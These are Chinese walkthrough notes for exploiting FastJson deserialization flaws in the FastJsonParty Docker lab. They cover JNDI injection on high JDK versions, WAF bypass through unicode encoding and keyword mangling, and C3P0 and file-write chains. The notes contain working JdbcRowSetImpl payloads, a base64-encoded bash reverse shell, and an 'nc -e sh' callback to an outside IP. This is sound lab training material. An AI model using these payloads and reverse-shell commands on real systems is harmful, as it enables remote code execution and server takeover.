演示环境

https://github.com/lemono0/FastJsonParty

FastJson 全版本 Docker 漏洞环境(涵盖 1.2.47/1.2.68/1.2.80 等版本),主要包括 JNDI 注入及高版本绕过、WAF 绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。从黑盒的角度覆盖 FastJson 深入利用。

FastJson-JDK 高版本绕过 (1245-jdk8u342)

  1. 插件判断出 FastJson 及版本特征

    https://github.com/Niiiiko/FastjsonScan4Burp

  2. 利用 JNDI 注入未成功转高版本利用

    https://github.com/B4aron1/JNDIBypass

    java -jar JNDIBypass.jar -a 0.0.0.0 -p 1389 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzIuMjIwLjE0Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
    {
        "a": {
            "@type": "java.lang.Class",
            "val": "com.sun.rowset.JdbcRowSetImpl"
        },
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "ldap://101.32.220.14:1389/AoKhk",
            "autoCommit": true
        }
    }
  3. 监听反弹

    nc -lvvp 9999

FastJson-编码特性 WAF 绕过 (1247-jndi-waf)

修改 docker-compose.yml (user: root)

https://github.com/lemono0/FastJsonParty/issues/4

  1. 插件判断出 FastJson 及版本特征

    https://github.com/Niiiiko/FastjsonScan4Burp

  2. 利用 JNDI 注入未成功转编码绕过利用

    Fastjson 本身是默认识别并解码 hex 和 unicode 编码的,可以利用这个特性绕过

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 101.32.220.14 9999 -e sh" -A 101.32.220.14
    nc -lvvp 9999
    {
        "a": {
            "@type": "java.lang.Class",
            "val": "com.sun.rowset.JdbcRowSetImpl"
        },
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "ldap://101.32.220.14:1389/cEsHj",
            "autoCommit": "true"
        }
    }
    {
        "a":{
            "\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073",
            "\u0076\u0061\u006C":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C"
        },
        "b":{
            "\u0040\u0074\u0079\u0070\u0065":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C",
            "\u0064\u0061\u0074\u0061\u0053\u006F\u0075\u0072\u0063\u0065\u004E\u0061\u006D\u0065":"\u0072\u006D\u0069\u003A\u002F\u002F\u0031\u0030\u0031\u002E\u0033\u0032\u002E\u0032\u0032\u0030\u002E\u0031\u0034\u003A\u0031\u0030\u0039\u0039\u002F\u007A\u0039\u0069\u0035\u0074\u0074",
            "\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074":"\u0074\u0072\u0075\u0065"
        }
    }

FastJson-WAF 加不出网 C3P0 利用 (1247-waf-c3p0)

修改 docker-compose.yml (删除 internal: true)

  1. 插件判断出 FastJson 及版本特征

    https://github.com/Niiiiko/FastjsonScan4Burp

  2. 不出网 C3P0 链构造利用

    见打包的 wp 代码部分

  3. WAF 绕过

    添加 _+ 处理关键字绕过

    userOverridesAsStringus_erOverridesAsString

    https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/

FastJson-高版本加写入链利用(1268-writefile-jsp)

  1. 插件判断出 FastJson 及版本特征

    https://github.com/Niiiiko/FastjsonScan4Burp

  2. 高版本采用写入链

    先探针到中间件及目录,利用链加写入文件内容